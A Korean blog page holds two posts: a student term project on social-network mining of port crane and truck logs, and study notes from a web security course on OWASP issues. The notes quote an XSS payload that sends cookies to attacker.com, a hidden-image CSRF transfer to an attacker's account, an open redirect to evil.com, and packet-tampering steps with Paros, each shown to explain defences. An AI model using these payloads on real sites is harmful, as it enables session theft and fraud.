[데이터 마이닝] 부산대 산업공학과 텀 프로젝트

바야흐로 디지털 시대...

이제 Social Network로 당신의 관계의 친밀도를 분석할 수 있어요! :)

 

‘Social Network’ 들어보셨을지 모르겠네요.

웹상에서 이용자들이 인적 네트워크를 형성할 수 있게 해주는 서비스입니다.

 

저희는 이 Social Network를 이용한 데이터 분석을 해보았습니다. :D

위의 그림과 같은 데이터의 Log를 분석 했는데요. (Log란 데이터의 기록을 말합니다.)

 

저희는 이 Log를 분석하기 위해 크게 두 가지 Tool을 사용했습니다.

① BAB Social Network

② ProM

 

먼저, ① BAB Social Network. 웬 밥....? 먹는 밥인가?.... 많이 생소하실 텐데요~

우리 조원 중 (컴퓨터 프로그래밍을 기가 막히게 하는^^) 한 명이 참여한 부산대 산업공학과 연구실에서 개발한 Tool입니다. 아래 그림을 보시죠.

이리도 복잡하게 얽혀 있는 관계들을 분석하는 Tool입니다.

Social Network Algorithm을 이용해 프로그래밍 한 것이죠.

 

그렇다면 ② ProM은? (BAB에 아직 구현하지 못한 알고리즘은 ProM으로 분석했답니다.)

 

왼쪽은 Fuzzy Mining인데, 이를 통해 Log의 핵심적인 Event의 흐름을 파악할 수 있어요.

오른쪽은 Heuristic Mining인데요. 보다 자세한 모델을 파악하기 위해 시도해보았습니다.

 

자, 그럼 본격적으로 Social Network 분석에 들어가 볼까요?

Originator Overview를 이용해 32개의 Originator 중 높은 빈도 수를 가지는 Originator를 중심으로 분석 했어요. (SL1, GC06이 8%, GC05, GC07이 6%, GC04가 5%)

 

저희가 분석해본 Social Network Algorithm은 총 4가지!

Working Together, Similar Task, Subcontracting, Handover of Work입니다.

 

먼저, Working Together!

두 originator가 Case에서 함께 발견되는 정도를 Counting하여 Originator들 간의 관련성을 파악하는 알고리즘입니다.

  

Threshold가 0.2일 때, 주요 Originator의 분포이네요. (SL1, GC07, GC08), (GC05, A63), (GC02), (GC06, etc.) 끼리 함께 일하는 것으로 확인됩니다.

다음은 Similar Task!

여러 Case에서 같은 Activity를 수행하는 Originator들 간의 관계를 파악하는 알고리즘입니다.

 

위의 도식은 Threshold 0.99에서의 Similar Task Analysis입니다.

다음은 Subcontracting!

 

쉽게 말해 John이 Mike, Sue, Pete에게 하청을 주는 것이라 생각하면 됩니다.

위의 도식은 Threshold가 0.005일 때, Subcontracting Analysis입니다.

 

마지막으로 Handover of Work!!

연속되는 Activity를 수행하는 Originator 사이의 관계를 파악하는 알고리즘이에요.

SL1이 GC03, GC07 등에게 Handover 하는 것이 보이나요?

 

 

이상으로 저희의 분석은 끝이구요!

이러한 분석을 통해 Originator간의 관계를 대략적으로나마 파악했습니다.

위와 같은 결과가 나오는군요.

 

 

결론적으로,

항만 물류는 작업장이 매우 넓고, 많은 작업자와 설비에 의해서 물류작업이 됩니다.

컨테이너를 운반하는 크레인과 트럭이 매우 많고, 복잡한 관계를 띄고 있구요.

저희는 작업주체인 크레인과 트럭간의 관계를 분석했습니다.

작업빈도가 높은 QuayCrane과 YardCrane으로 추측되는 SL1과의 관계에 초점을 맞추었습니다.

SL1의 경우 YardCrane의 집합일 거라고 추측해봤습니다.

QuayCrane과는 다르게 Originator가 하나의 그룹으로 주어진 이유나 그들 간의 관계를 더 자세히 파악하기 위해서는 Domain Knowledge가 필요할 것으로 예상됩니다.

 

이상 BAB으로 Social Network 정복하기였습니다.

부족한 점이 많으나 배워가는 과정이니 이해 부탁드려요^^

// 블로그 주인의 Comment

본 블로그는 부산대 산업공학과 수업 중 하나 인 '데이터 마이닝' 에서 텀프로젝트 결과물을 최대한 쉽게 올려놓은 것입니다. 보고서는 제가 쓴 것이 아니지만 제 블로그에 올리는 이유는 추억을 담기 위해서 입니다. 혹시나 다른 분들 보시고 틀린 점이 있더라도 학부생의 귀여움으로 보아주시면 감사하겠습니다 :)

Web Security 교육 (2)

 어제에 이어서 S.T 교육을 받았다. 정리를 해보자. 참고로 강사님 사이트는 javaspecialist.co.kr이다.

A2. 인증 및 세션 관리 취약점
 URL에서  ..(생략)...;jsessionid=2PJDJ...(생략)... 와 같은 주소값을 보는 일이 있다. 이것은 tomcat web server를 사용할 때 encode("url")을 사용할 때 나타난다. 여기서 jsessionid가 노출된 것이 중요하다. 이런 경우 패킷 스니핑으로 잡아낼 수 있다.

 쿠키 설정을 안하면 login이 안된다. 왜냐하면 cookie에 세션 id가 저장되지 않기 때문이다. 보통 로그인을 하면 30분 정도 유지가 되며 로그아웃 시에는 이 세션이 만료된다. 문제는 가끔 세션 유지 시간을 -1로 해놓는 경우가 있다. 이 경우는 영구적으로 지속되어 문제가 된다.
 session.invalidate()를 통해 세션을 만료 시켜줘야한다.

 Naver,Daum 같은 큰 포털사이트의 경우에는 매 페이지마다 Session ID가 달라져서 애초에 이런 문제를 방지하고 있다.

 jasypt : 자바 암호화 라이브러리. encrypt 할 때마다 그 값이 달라진다.


A3. 크로스 사이트 스크립팅 (XSS)
(string) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

라는 코드가 있다고 하자. 저 request 부분에 다음의 코드를 삽입한다면
'><script>document.location = 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
의도하지 않은 사이트로 접속하게 되어 정보를 넘겨주게 될 것이다.

 < 는 &lt;
 > 는 &gt;  로 바꾸는 것으로도 많은 문제가 해결된다. 물론 unicode 변환을 이용해 다시 무력화 할 수 있어서 완벽한 방어책은 아니다.


A4. 취약한 직접 객체 참조.
 JS 코드를 이용해 DOM Tree를 조정할 수 있다는 것이다. 예를 들어 document.querySelector("CSS선택자") 같은걸 이용해 DOM을 만질 수 있다.
 사실 get방식이건 post 방식이건 서버는 이 사람이 session id를 이용해 로그인이 되어 있는지만 체크한다. parosproxy를 이용해 패키을 가로챌 수 있다.
 인터넷옵션-연결탭-LAN설정-프록시서버-포트변경-Trap-Tap request체크.
 이 상태에서 인터넷을 이용해 패킷을 보내면 잡힌다. 잡은 패킷을 조작해 continue 하게 되면 변조된 패킷이 날아간다. 왼쪽에서 Sites->cmm에 존재한다.
 만약 같은 컴퓨터를 여럿이서 사용한다면 새로운 세션을 열어서 인터넷을 해야한다.
 cookie toolbar 를 이용해 edit cookie가 가능하다. 다운로드는 www.diodia.com에서 가능.
 이러한 직접 객체 참조를 막기 위해서는 서버단 검증이 반드시 필요하다.
 user-agent는 사용자의 브라우저가 무엇인지 알려준다. trident는 IE의 렌더링 엔진을 의미한다. 그리고 만약 user-agent에 paros를 거쳐서 오는 패킷이 있다면 반드시 막아야 한다. 또한 만약을 대비해 회원들의 IP를 저장해둬야할 것이다.

 Web Application Server : WebLogic, WebSphere, JEUS 그리고 Tomcat..
 이러한 녀석들을 이용하면 Application 혹은 Context를 Deploy하고 Undeploy할 수 있도록 해준다. 보통 http://localhost:8080/manager 혹은 console에서 관리자 페이지를 제공한다.

 Eclipse JavaEE + Tomcat + 환경변수 잡기(JDK설치된 곳으로 지정) 하여 환경을 구축한다.
 Tomcat의 내부 폴더에서 bin/startup을 실행한다. /manager로 접속한다. conf/tomcat-users를 보면
 <-- <role name="tomcat"/>
 ... (생략) ...
 -->이 있다. 이것을 참조하여 추가한후 Shutdown & Startup을 한다.
 Application Deploy가 가능해진다. 여기서 쓸데 없는 App은 Undeploy 해둬야 한다. 이클립스를 실행해서 Dynamic Web Project를 실행한다. Build Path - Configuration ... - Library - Add External Jar - 아파치 폴더의 Servlet-API 추가한다. 프로젝트를 완성했으면 원격지 업로드를 위해서 Export-WAR file을 해서 관리자 콘솔 아래에서 Deploy를 하도록 한다.

 디렉토리 목록은 결코 밖으로 보여져서는 안된다.

 Java -> class -> Jar -> Dex -> apk  의 구조를 가진다. 이 때 Java Decompile을 통해 Dex 파일을 class로 변환하여 소스코드를 확인할 수 있다.

 패킷트레이서를 이용해 패킷을 훔칠 수도 있다.

 암호화 알고리즘이 뻔해서 추측이 가능하다. 변화를 주기위해 salt를 사용한다.

 암호화 알고리즘은 알고리즘 + 알고리즘 운용방식 + 패팅으로 이루어진다. 다음 블록의 암호화 시에 전의 블록의 결과를 이용한다. 단방향 알고리즘은 이러한 seed가 없기 때문에 salt를 쓰는 것이다.

 JD-GUI를 참고하라. url:admin을 하면 admin이 있는 url를 찾아준다.


 A8. 크로스 사이트 요청변조(CSRF)
  웹 사이트 구조를 알기 위해 프로그램을 이용해 URL구조를 알수 있다. 웹 사이트 구조를 알게 되면 다음의 코드를 이용해 위험에 처할 수 있다.
 <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount+=attackersAcc+#" width="0" height="0"/>
 이 값을 넣어놓게 되면 관리자가 접속시에 당하게 될 것.


 A9. 알려진 취약점이 있는 컴포넌트 사용
 MIT 라이센스는 가져다 쓰는 것은 무료이나 그로 인한 피해는 책임지지 않는 라이센스다.


 A10. 검증되지 않은 redirect & forward
 만약 a.jsp -> b.jsp가 있다고 하자.
 이 때 redirect는 url의 주소가 b.jsp가 되며 사용자 이름은 null이다.
 (response.sendRedirect("b.jsp");)
 요청이 2번 일어난다. 그런데 요청이라는 것은 1회성이기 때문에 b.jsp로 사용자 이름이 넘어가지 않는다. 이러한 redirection은 글을 저장하고 바로 목록을 조회해서 뿌려줘야 할 때에 쓰이는 것이다. 즉, 요청 후 새로운 요청이 실행될 때 쓰인다.

 forward는 url주소가 그대로 a.jsp이며 사용자 이름도 넘어간다.
 (request.getRequestDispather("b.jsp").forward(request,response);)
 요청은 단 한번 일어난다. a.jsp에서 request객체를 b.jsp로 넘겨주어 b.jsp에서 응답하는 절차다. forward는 요청 후 결과를 보여주기 위해서 쓰인다.

 http://www.example.com/redirect.jsp?url=evil.com과 같이 다른 사이트로 넘어가게 될 수도 있으니 redirect, forward를 조심해야함.

 또 다른 위험으로 비동기 요청이 있다. 브라우저는 해당 도메인 주소가 아닌 다른 도메인 주소에서 ajax를 부르는 것을 거부한다. 하지만! proxy page나 backend 단에서 다른 도메인 요청을 가져올 수 있다는점. 예를 들어 RSS Proxy가 있다.

 <%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
 <c:import charEncoding="UTF-8" url="${param.rssurl}"></c:import> 이 코드의 결과는 XML문서다. 결국 DOM Tree로 해석이 가능하기 때문에 주소와 내용이 달라지게 된다. 그러나 XML 문서를 뿌리는 것 위에 공백이 남게 되어 브라우저가 해석을 못하게 되는데 이러한 경우에도 방법이 있다.
 <%@ page langu....(생략)... trimDirectiveWhitespace="true"%> 를 넣어주면 된다. 이 코드는 앞의 공백을 없애서 XML문서가 well-formed 규칙에 맞게 해준다.

 마지막으로 지속적인 공부를 원한다면
 Webgoat-5.4-OWASP...(생략)...을 다운로드 받아서 배치파일을 실행한다. 웹에서 WebGoat/attack에 접속한다. tomcat-user.xml에 보면 id와 pw가 있다. 걍 guest/guest해도 된다. 그리고 웹보안 취약점이 있는 페이지가 나오는데 이것으로 공부가 가능하다.